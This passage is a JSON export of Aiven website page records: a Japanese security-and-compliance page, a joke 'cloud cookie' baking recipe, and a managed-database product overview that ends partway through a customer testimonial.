2","variant":"default"},{"_key":"f4d3c963d06705c8f32d8ae73aa71c51","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-1a61311daab2fdb2f575fa34c39b414fa044444a-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"0fe1c19915b8","_type":"span","marks":["932874862fd8"],"text":"PCI-DSS"},{"_key":"278c8452d78b","_type":"span","marks":[],"text":"の詳細については営業にお問い合わせください"}],"markDefs":[{"_key":"932874862fd8","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}}],"style":"normal"}],"tagline":"2020年以降適合","title":"PCI DSS","variant":"default"},{"_key":"abaafecd1c750997e4e8d06ba7ee189d","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-d0c880ed71498b1c52aa270f6f9bfe63d97820b9-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"50ffad8c8d24","_type":"block","children":[{"_key":"e305d384852f0","_type":"span","marks":["85b25e594247"],"text":"HIPAA BAA"},{"_key":"513bcef4d653","_type":"span","marks":[],"text":"については営業にお問い合わせください"}],"markDefs":[{"_key":"85b25e594247","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}}],"style":"normal"}],"tagline":"2018年以降適合","title":"HIPAA","variant":"default"},{"_key":"06b7aaaecc9213ea3219a4edb75a7749","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-4918e37dc50dfe51bfd12fa424b2c57c6cca87f5-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"6cfca508d6be","_type":"block","children":[{"_key":"5804b46694d20","_type":"span","marks":["7402f13082b6"],"text":"GDPR DPA"},{"_key":"521f98cf1c8b","_type":"span","marks":[],"text":"については営業にお問い合わせください"}],"markDefs":[{"_key":"7402f13082b6","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}}],"style":"normal"}],"tagline":"2017年以降適合","title":"GDPR","variant":"default"},{"_key":"5aeef9238ab9315c744ee5d3d26f8033","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-73b26a24fd489f9ba9710576330f4e22841e2602-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"1dc54c3d211e","_type":"block","children":[{"_key":"4b46983a17df0","_type":"span","marks":["dd4809dd1806"],"text":"CCPA DPA"},{"_key":"ee97b3683368","_type":"span","marks":[],"text":"については営業にお問い合わせください"}],"markDefs":[{"_key":"dd4809dd1806","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}}],"style":"normal"}],"tagline":"2020年以降適合","title":"CCPA","variant":"default"}],"rounded":false},{"_key":"7d718c678637","_type":"iconList","disabled":false,"fullWidth":false,"iconSize":24,"icons":[{"_key":"309e73ca1d86","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"46019157b9cf","_type":"block","children":[{"_key":"7201791a46d30","_type":"span","marks":[],"text":"一部のベンダーは、コストを削減するためにマルチテナントの仮想マシンを使用していますが、Aivenのすべてのソフトウェアはセキュリティを高めるために専用の仮想マシンを使用しています。"}],"markDefs":[],"style":"normal"}],"title":"専用仮想マシン"},{"_key":"752d902944f9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"69f9068208b4","_type":"block","children":[{"_key":"a7078e446d6e0","_type":"span","marks":[],"text":"データ転送に使用する接続にはTLSを適用し、ディスク上のデータは暗号化されています。"}],"markDefs":[],"style":"normal"}],"title":"エンドツーエンドの暗号化"},{"_key":"0d2f4dc3b8cc","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-90b07c584c9c583a41e621b708592da27bee8c04-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8aef5e342436","_type":"block","children":[{"_key":"82f5d8b063a00","_type":"span","marks":[],"text":"Aivenのすべてのノードはファイアウォールで保護され、接続を許可するIPアドレスをユーザーが指定できます。"}],"markDefs":[],"style":"normal"}],"title":"完全なネットワークセキュリティ"},{"_key":"cff627d35c6d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"20d2383b35fe","_type":"block","children":[{"_key":"ea5039e77f550","_type":"span","marks":[],"text":"ソフトウェアは常に最新の状態であることが保証され、セキュリティアップデートも自動的にインストールされます。"}],"markDefs":[],"style":"normal"}],"title":"セキュリティアップデートの自動化"},{"_key":"fabb1ba9c75c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71a96127603","_type":"block","children":[{"_key":"e49d168b2fa70","_type":"span","marks":[],"text":"すべてのマネージドクラウドサービスは、外部機関による年1回のセキュリティ評価を実施します。"}],"markDefs":[],"style":"normal"}],"title":"年次セキュリティテスト"},{"_key":"06c095fa2e71","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-92956c84edec09fdc186e86269ac4b3fae4ef9bb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d653d74bd946","_type":"block","children":[{"_key":"13129c9436de0","_type":"span","marks":[],"text":"アクセス制御、暗号化、ネットワークセキュリティなどのセキュリティトピックの詳細については、 "},{"_key":"13129c9436de1","_type":"span","marks":["59bf817c2f78"],"text":"「クラウドセキュリティ概要」をご覧ください。"}],"markDefs":[{"_key":"59bf817c2f78","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/cloud-security"}],"style":"normal"}],"title":"もっと詳しく知りたい方はこちら"}],"rounded":false,"title":"Aivenは、セキュリティの重要性を理解しています","variant":"icon-left"}],"seo":{"_type":"metaData","metaDescription":"高性能なデータインフラには、高いセキュリティが必要です。Aivenの全プランは、エンドツーエンドのセキュリティを備えた専用VM上で稼働し、自動的に更新されます。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9b5ec06adebbc974c13a75db07da453477b15642-1200x630-jpg","_type":"reference"}},"metaTitle":"セキュリティ、プライバシー、コンプライアンス | Aiven"},"slug":{"_type":"slug","current":"/security-compliance"},"title":"セキュリティとコンプライアンス"} {"__i18n_lang":"en","_createdAt":"2022-11-15T13:41:04Z","_id":"213a689f-91aa-4284-b63b-fb8a58390003","_rev":"3re4XGUaXqpLG8nUTpyCKm","_type":"page","_updatedAt":"2022-12-19T11:02:02Z","content":[{"_key":"8c961168fcf7","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"32edbcaf7c49","_type":"block","children":[{"_key":"a673877c730b0","_type":"span","marks":[],"text":"At Aiven, we only want to deliver the most delicious cookies that perfectly enhance your experience of our cloud data platform. "}],"markDefs":[],"style":"normal"},{"_key":"36f1834af710","_type":"block","children":[{"_key":"8470fee855aa","_type":"span","marks":[],"text":"So here’s the best all-in-one open source cloud cookie recipe for the best all-in-one open source cloud data platform."}],"markDefs":[],"style":"normal"},{"_key":"01d7092926ca","_type":"block","children":[{"_key":"ec32dd72f12b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","alt":"Hand holding crab holding cookie, illustrating an Aiven cookie recipe","asset":{"_ref":"image-bf319534ba529e440def7829f29c09bd0834349d-1667x1250-png","_type":"reference"}},"rounded":false,"title":"Cloud cookies","variant":"default"},{"_key":"a47b358316c9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"e0134dfaa546","_type":"block","children":[{"_key":"64280bca73d7","_type":"span","marks":[],"text":"Ingredients"}],"markDefs":[],"style":"h3"},{"_key":"00feb4159f82","_type":"block","children":[{"_key":"75c1697e5bfb","_type":"span","marks":[],"text":"150g flour"}],"markDefs":[],"style":"normal"},{"_key":"d8d55ba897ae","_type":"block","children":[{"_key":"3a87c72c0f68","_type":"span","marks":[],"text":"½ tsp baking soda"}],"markDefs":[],"style":"normal"},{"_key":"950b4f265111","_type":"block","children":[{"_key":"c34a8f04c2fc","_type":"span","marks":[],"text":"½ tsp salt"}],"markDefs":[],"style":"normal"},{"_key":"81e3b7c6a037","_type":"block","children":[{"_key":"d723cfd94974","_type":"span","marks":[],"text":"110g butter (softened)"}],"markDefs":[],"style":"normal"},{"_key":"2c3c9d5739eb","_type":"block","children":[{"_key":"1beeb2a57ee9","_type":"span","marks":[],"text":"80g brown sugar"}],"markDefs":[],"style":"normal"},{"_key":"614b1c56691c","_type":"block","children":[{"_key":"2ad4bf4ef2b6","_type":"span","marks":[],"text":"80g granulated sugar"}],"markDefs":[],"style":"normal"},{"_key":"5891ea5fdbaf","_type":"block","children":[{"_key":"654c1224974b","_type":"span","marks":[],"text":"1 tsp vanilla extract"}],"markDefs":[],"style":"normal"},{"_key":"d3f840d5fbbd","_type":"block","children":[{"_key":"66f2e2eb5d99","_type":"span","marks":[],"text":"1 large egg"}],"markDefs":[],"style":"normal"},{"_key":"d15efafae782","_type":"block","children":[{"_key":"7d0817501cb6","_type":"span","marks":[],"text":"1 cup dried cranberries*"}],"markDefs":[],"style":"normal"},{"_key":"ee566d3aac20","_type":"block","children":[{"_key":"78bcb6238e6c","_type":"span","marks":["em"],"text":"*Substitute chocolate chips for a traditional alternative, or add in a tablespoon of ground ginger with the flour to spice things up."}],"markDefs":[],"style":"normal"},{"_key":"f2e9dc2b6c34","_type":"block","children":[{"_key":"b7e1ab5f3092","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"0f61da0c13a0","_type":"block","children":[{"_key":"e2840f2d5fe6","_type":"span","marks":[],"text":"Directions"}],"markDefs":[],"style":"h3"},{"_key":"e8f6cb1b418d","_type":"block","children":[{"_key":"a49bb4e0cf13","_type":"span","marks":[],"text":"Preheat oven to 190ºC / 375ºF"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a9a94fb81da9","_type":"block","children":[{"_key":"035be6c04f46","_type":"span","marks":[],"text":"Combine flour, baking soda and salt in a mixing bowl."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8f9e8c87f279","_type":"block","children":[{"_key":"0800f5c0cf82","_type":"span","marks":[],"text":"In a large mixing bowl, beat the butter into the sugars with a hand mixer for a minute or two to reach a fluffy consistency."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f0cd56719d44","_type":"block","children":[{"_key":"2c8b5e8e25fb","_type":"span","marks":[],"text":"Beat in the vanilla and eggs until combined."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c3744e6d6bfa","_type":"block","children":[{"_key":"3f3683a06180","_type":"span","marks":[],"text":"Add the flour in three stages and beat until combined."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dc931301fd46","_type":"block","children":[{"_key":"aa012148d4b4","_type":"span","marks":[],"text":"Stir in the cranberries."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"138b35eda7a7","_type":"block","children":[{"_key":"a5982316d714","_type":"span","marks":[],"text":"Drop large spoonfuls of dough onto a cookie sheet lined with baking paper."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f084faba8b44","_type":"block","children":[{"_key":"7ceca82f6fbb","_type":"span","marks":[],"text":"Bake until the cookies are fluffed up, and the edges are lightly browned, approx 12 minutes.\n\n"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"826278aa9d86","_type":"block","children":[{"_key":"468257c3c3fe","_type":"span","marks":[],"text":"Makes approx. 18 cookies"}],"markDefs":[],"style":"normal"}],"tertiaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/cloud-cookie-recipe","title":"Contribute on GitHub to make this open source recipe even tastier!"},"title":"Aiven cloud cookie recipe","variant":"twoColumn"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"At Aiven, we only want to deliver the most delicious cookies that perfectly enhance your experience of our cloud data platform. \n\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1f5c84759b5bcaafecc99f57f722ca6b89e4d024-2500x1312-png","_type":"reference"}},"metaTitle":"Cloud cookies | Aiven"},"slug":{"_type":"slug","current":"/cookie-recipe"},"title":"Cookie recipe"} {"__i18n_lang":"en","_createdAt":"2024-03-22T15:41:20Z","_id":"13ecea8b-dacb-4056-af66-283caf0da0c3","_rev":"PyQmlbx4fuBwfv1MU0FYvQ","_type":"page","_updatedAt":"2024-10-03T14:44:17Z","content":[{"_key":"ee7eb6877dcc","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Store","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"d2ebc5039b28","_type":"block","children":[{"_key":"ef9df02d0f9c0","_type":"span","marks":["color-primary"],"text":"Store"},{"_key":"621ca59e44ae","_type":"span","marks":[],"text":" your data on any major cloud"}],"markDefs":[],"style":"h1"},{"_key":"3a0b1c6bb5f7","_type":"block","children":[{"_key":"3f2aa305e3530","_type":"span","marks":[],"text":"Accelerate application development and simplify database administration with popular, purpose-built databases."}],"markDefs":[],"style":"normal"}],"hostProviders":[{"_key":"d4b57ea4a486","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"b1e40465d770","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"e7f1ded304dc","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"c12a0c023e09","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"66feb5949672","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-75eb324b9f19817402e18c11996f0a0e108b2371-1783x1520-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover the Aiven Platform"},"roundedCorners":"rounded-b","title":"Store your data seamlessly with our comprehensive open source databases","titleMultiColor":true,"variant":"default"},{"_key":"e0ynoq4lzxxplt5cdlolzzzjoct52qyt","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"center","image":{"_type":"mainImage","asset":{"_ref":"image-8a67e4a33a79ca66c0c8861fe74af6c507cfd616-1188x887-png","_type":"reference"}},"items":[{"_key":"a77ec85ee6c7f0166604f00cac39e50a","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"id":"alloydbomni","panelText":[{"_key":"017691b67a98","_type":"block","children":[{"_key":"869a43a87b530","_type":"span","marks":["strong"],"text":"100% PostgreSQL compatible: "},{"_key":"952579ef8429","_type":"span","marks":[],"text":"Existing applications work seamlessly without any code changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3df927abcc43","_type":"block","children":[{"_key":"4f7b7911eea2","_type":"span","marks":["strong"],"text":"Unmatched performance:"},{"_key":"2df0c8a40251","_type":"span","marks":[],"text":" Dramatically faster transactional, analytical and vector search workloads."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e4251549c308","_type":"block","children":[{"_key":"c4b47c657bd3","_type":"span","marks":["strong"],"text":"Accelerate AI Adoption:"},{"_key":"d4a338a7537c","_type":"span","marks":[],"text":" Built-in vector search capabilities and seamless integration with Vertex AI to build and deploy AI-powered applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e3ec62a6e39a","_type":"block","children":[{"_key":"f5aef0aabc20","_type":"span","marks":["strong"],"text":"True multi-cloud flexibility:"},{"_key":"c9cc4bd227c5","_type":"span","marks":[],"text":" Deploy and manage AlloyDB Omni seamlessly across Google Cloud, AWS and Azure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"979accaef090","_type":"block","children":[{"_key":"df1b0e95d0f7","_type":"span","marks":["strong"],"text":"Managed service simplicity:"},{"_key":"9abf4666e10c","_type":"span","marks":[],"text":" Aiven handles complex database tasks like provisioning, scaling, backups and upgrades."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"472676461a5b","_type":"block","children":[{"_key":"d75558571cb8","_type":"span","marks":["eb49e4e7b78c"],"text":"Learn more"}],"markDefs":[{"_key":"eb49e4e7b78c","_type":"internalLink","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"}}],"style":"normal"}],"title":"Aiven for AlloyDB Omni"},{"_key":"n42no6k8uf75gyesqz56y9tfivqkuol2","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"id":"postgresql","panelText":[{"_key":"voe1q7d3hdosx7ref54co65yuzki2se8","_type":"block","children":[{"_key":"3107d339ctu76wwxztkhkm49sy5vu37f","_type":"span","marks":["strong"],"text":"Robust and Scalable:"},{"_key":"8a2829529982","_type":"span","marks":[],"text":" The most popular open source database, deployable on any cloud with automated backups and replication."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d828fab410fe","_type":"block","children":[{"_key":"1d1f100ffd54","_type":"span","marks":["strong"],"text":"Managed Extensions:"},{"_key":"8c2aaae0af7b","_type":"span","marks":[],"text":" Explore ML with vector search in pgvector or optimize for time series data with TimescaleDB."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e253e944e1d1","_type":"block","children":[{"_key":"9a547e73e098","_type":"span","marks":["strong"],"text":"AI Optimized: "},{"_key":"a8c4fb0b8c42","_type":"span","marks":[],"text":"Aiven AI Database Optmizer recommends resolutions for your slowest queries."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8db13393d7e6","_type":"block","children":[{"_key":"94e8e13effd3","_type":"span","marks":["strong"],"text":"Integrated with the Aiven Platform:"},{"_key":"8d245d086605","_type":"span","marks":[],"text":" Stream data, federate queries, add caching, send logs, and capture metrics. All in one place."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"472676461a5b","_type":"block","children":[{"_key":"d75558571cb8","_type":"span","marks":["eb49e4e7b78c"],"text":"Learn more"}],"markDefs":[{"_key":"eb49e4e7b78c","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}}],"style":"normal"}],"title":"Aiven for PostgreSQL®"},{"_key":"b34nrx3zh6t0qb2ou2zkvvovp2y24ipl","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-608dd96363e5cf2fbd3ede3214e45b33ab1f0f5d-510x510-png","_type":"reference"}},"id":"mysql","panelText":[{"_key":"3452da5fb871","_type":"block","children":[{"_key":"672295a3566b0","_type":"span","marks":["strong"],"text":"Robust and Scalable:"},{"_key":"672295a3566b1","_type":"span","marks":[],"text":" The most popular open source database, deployable on any cloud with automated backups and replication."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb08af9afde5","_type":"block","children":[{"_key":"cbc0c99e53a80","_type":"span","marks":["strong"],"text":"AI Optimized:"},{"_key":"cbc0c99e53a81","_type":"span","marks":[],"text":" Aiven AI Database Optmizer recommends resolutions for your slowest queries."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5862305945f9","_type":"block","children":[{"_key":"94cc528161480","_type":"span","marks":["strong"],"text":"Integrated with the Aiven Platform:"},{"_key":"94cc528161481","_type":"span","marks":[],"text":" Stream data, federate queries, add caching, send logs, and capture metrics. All in one place."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"da860aa8a4ea","_type":"block","children":[{"_key":"f33a7c07cb00","_type":"span","marks":["1854667f7bd2"],"text":"Learn more"}],"markDefs":[{"_key":"1854667f7bd2","_type":"internalLink","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"}}],"style":"normal"}],"title":"Aiven for MySQL"},{"_key":"w45ith4hs4dcxcz56kns9u72rim9t66e","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"id":"valkey","panelText":[{"_key":"lz6wu9rs1717bnip44yor9ezvbbacqwa","_type":"block","children":[{"_key":"2vs1wydz2w5wamwbxxitqds1uazruvrf","_type":"span","marks":["strong"],"text":"Open Source NoSQL:"},{"_key":"9e04236e7b61","_type":"span","marks":[],"text":" Valkey™ is Redis® compatible, open source and supported by the Linux Foundation"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c2af28205801","_type":"block","children":[{"_key":"50dfd3b2c8c6","_type":"span","marks":["strong"],"text":"High Performance:"},{"_key":"aad649c576f7","_type":"span","marks":[],"text":" In-memory database, ideal for caching, message queues and real-time data processing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7edd1416b3a0","_type":"block","children":[{"_key":"fb556f207add","_type":"span","marks":["strong"],"text":"Free Tier Available:"},{"_key":"0a654fa19bcd","_type":"span","marks":[],"text":" Get started for free to see how easy using Aiven for Valkey can be."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0d577b82640f","_type":"block","children":[{"_key":"601ce15bc40e","_type":"span","marks":["f3a25d20090b"],"text":"Learn more"}],"markDefs":[{"_key":"f3a25d20090b","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Valkey™"},{"_key":"o167hmbwzyf1m6hfybzq93yu229m9glp","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"id":"dragonfly","panelText":[{"_key":"cp83z2u2grkssmeaora70905klk1pwq4","_type":"block","children":[{"_key":"fqsnotlku5e1jlal1zo8pytj35jr3b7a","_type":"span","marks":["strong"],"text":"NoSQL at Scale:"},{"_key":"5731bca47195","_type":"span","marks":[],"text":" Built for high-performance, high-volume, large-scale workloads."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"376fb58cbaac","_type":"block","children":[{"_key":"bdef4a332179","_type":"span","marks":["strong"],"text":"Easy Migration: "},{"_key":"ed5507e1bb36","_type":"span","marks":[],"text":"Drop-in replacement for Redis® or Memcached."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7436fd40f9fa","_type":"block","children":[{"_key":"7025d56cb38e","_type":"span","marks":["strong"],"text":"Enhanced Capabilities: "},{"_key":"9fd59f7535d3","_type":"span","marks":[],"text":"Supports advanced Redis capabilities, like JSON documents and vector search."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dc1509cba991","_type":"block","children":[{"_key":"748cf0ff1010","_type":"span","marks":["174dbb076e5b"],"text":"Learn more"}],"markDefs":[{"_key":"174dbb076e5b","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Dragonfly"},{"_key":"1246510c59c6","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"id":"clickhouse","panelText":[{"_key":"57b83c66f3a8","_type":"block","children":[{"_key":"60815ab7dc38","_type":"span","marks":["strong"],"text":"Lightning Fast Analytics: "},{"_key":"077fad014b29","_type":"span","marks":[],"text":"A columnar DBMS that can process massive datasets with unparalleled speed."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9b0e26640904","_type":"block","children":[{"_key":"038bf5173fff","_type":"span","marks":["strong"],"text":"Cost Effective:"},{"_key":"8760ff4c82ee","_type":"span","marks":[],"text":" Industry leading compression combined with tiered storage keep your costs low."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6727eb68d381","_type":"block","children":[{"_key":"4ea0d3586d85","_type":"span","marks":["strong"],"text":"Highly Available:"},{"_key":"d21c6c97c028","_type":"span","marks":[],"text":" Multi-zone replication and automatic failover ensure your data is always available."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0e45d49ad9c","_type":"block","children":[{"_key":"d412a3d3b2b6","_type":"span","marks":["c02637bc4337"],"text":"Learn more"}],"markDefs":[{"_key":"c02637bc4337","_type":"internalLink","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"}}],"style":"normal"}],"title":"Aiven for ClickHouse®"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tr-bl","title":"A database for any occasion","topOverlap":false},{"_key":"cff0a503d7ae","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"31e9ade20725","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"48c34482cf06","_type":"block","children":[{"_key":"19f4cebceee10","_type":"span","marks":[],"text":"Store and manage structured data in tables with predefined relationships, and use structured query language (SQL) to query and manipulate data."}],"markDefs":[],"style":"normal"}],"title":"Relational (SQL)","variant":"icon-card"},{"_key":"df617c7fc7389d8611547b018b0af702","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c5a4c997c3ee","_type":"block","children":[{"_key":"9d43f608c9fa0","_type":"span","marks":[],"text":"Serves as a fast data store, cache or lightweight message broker to improve the performance of real-time applications like web, social media and online gaming."}],"markDefs":[],"style":"normal"}],"title":"Non-relational (NoSQL)","variant":"icon-card"},{"_key":"cde9f85ad256e18a61de857183c9dbe0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"0ddfafbba242","_type":"block","children":[{"_key":"e071a046a65e0","_type":"span","marks":[],"text":"Store, search, analyze and visualize data at scale for real-time insights, websites, e-commerce, search, log analytics and enhancing applications."}],"markDefs":[],"style":"normal"}],"title":"Search and analytics","variant":"icon-card"},{"_key":"1bfdca5a8667051c6c2bd2c29cf86ed8","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"b94a79bcdc20","_type":"block","children":[{"_key":"6f8f883253e70","_type":"span","marks":[],"text":"Store data in a columnar format to optimize scalable, high-performance, real-time analytics and reports using advanced SQL queries."}],"markDefs":[],"style":"normal"}],"title":"Data warehouse","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"a622f899ae6e","_type":"block","children":[{"_key":"d631977246cf0","_type":"span","marks":[],"text":"Aiven provides a suite of managed databases, deployable across multiple clouds to enable choice, flexibility, scalability and high availability for your critical data needs while keeping costs under control."}],"markDefs":[],"style":"normal"}],"tagline":"Database types","title":"Store, cache, search and analyze data","topOverlap":false},{"_key":"8e664768ddd9","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"991d570c1dbc","_type":"testimonialItem","content":[{"_key":"c1cc121c9fbd","_type":"block","children":[{"_key":"6c9be80aff9e","_type":"span","marks":[],"text":"\"All the systems we currently run are event-driven. In busy holiday periods, like Black Friday, we consume about a million events a day — and that depends on Aiven for PostgreSQL... So our databases are not small, but with Aiven they just work.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_type":"reference"},"title":"Read the case 